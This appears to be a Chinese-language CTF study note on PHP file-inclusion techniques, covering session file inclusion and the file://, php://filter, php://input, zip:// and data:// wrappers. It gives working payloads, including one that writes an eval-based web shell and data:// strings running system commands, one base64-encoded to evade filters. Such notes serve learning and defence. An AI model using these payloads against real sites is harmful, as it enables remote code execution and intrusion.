session文件包含
有关原理之类的可以看看这篇
session文件格式:sess_[PHPSESSID]
session文件地址的话,可以用phpinfo()来看
我这里是/var/lib/php/session
同时,我们需要向session库中输入一些信息,比如<?php phpinfo()?>
php伪协议
file://
主要用于访问本地系统,且不受allow_url_open和allow_url_include的影响
格式:file://+绝对路径+文件名
php://filter
用于读取源代码,并用其他形式的编码进行输出
php://filter/read=string.rot13/resource=<目标文件名> //rot13编码后读取文件内容
php://filter/convert.iconv.utf-8.utf-7/resource=<目标文件名> //将utf8编码转换utf7编码
php://filter/convert.iconv.utf8.utf16/resource=<目标文件名> //将utf8编码转换utf16编码
php://filter/convert.base64-encode/resource=<目标文件名> //base64编码后读取文件内容
有的题目就会过滤掉base和rot或者其他的
php://input
可以访问请求的原始数据的只读流
(只读意味着数据流仅提供读取方法,禁止写入或修改操作。例如,在HTTP请求中,请求体可能以流的形式暴露给开发者,但开发者只能从中读取数据,无法直接修改流中的内容)
将post
请求中的数据作为
PHP
代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,然后进行抓包并post想设置的文件内容,
php
执行时会将
post
内容当作文件内容,从而导致任意代码执行。
利用该方法,我们可以直接写入
php
文件,输入
file=php://input
,然后使用
burp
抓包,写入
php
代
码:
<?php fwrite(fopen("shell.php","w"),'<?php @eval($_POST['cmd'])?>');?>
zip://
zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。
格式的话:zip://+压缩包绝对路径+%23(#)+压缩包内文件
只需要是zip的压缩包即可,后缀名可以任意更改。
相同的类型还有zlib://和bzip2://
data://
可以用来执行命令
data://text/plain,<?=system("ipconfig");?>
data://text/plain,为主体
,后面为命令
也可以将命令加密
data://text/plain;base64,PD89c3lzdGVtKCJpcGNvbmZpZyIpOz8+
应对于将<?过滤的
今天就到这,加油